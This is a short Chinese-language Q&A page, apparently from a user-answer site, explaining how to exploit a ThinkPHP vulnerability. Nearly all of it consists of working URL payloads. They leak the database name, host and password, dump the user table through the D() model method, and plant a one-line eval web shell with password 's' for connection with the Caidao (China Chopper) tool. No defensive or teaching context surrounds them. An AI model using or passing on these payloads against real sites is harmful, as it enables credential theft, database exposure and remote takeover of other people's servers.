thinkphp 怎么利用漏洞

1. 使用URL可以查看用户的数据库帐号密码DB_NAME,DB_PASS,DB_HOST
http://site/index.php/module/action/param1/${@print(THINK_VERSION)}
http://site/index.php/module/action/param1/${@print(C(‘’))}
http://site/index.php/module/action/param1/${@print(C(‘DB_PASS’))}
2.使用模型D方法或者M方法，猜测后台帐号密码，当然首先要先猜一下用户的表名了
http://www.site.com/eetodaycom/index.php/Product/show/id/25/parm1/${@var_dump(D(user)->select())}
3.直接执行一句话代码，然后用菜刀直接连接.
http://site/index.php/module/action/param1/{${eval($_POST[s])}} 一句话密码:s

温馨提示：答案为网友推荐，仅供参考

当前网址：https://verywind.cn/ee/e7j2fvj7fv7y32fyj32.html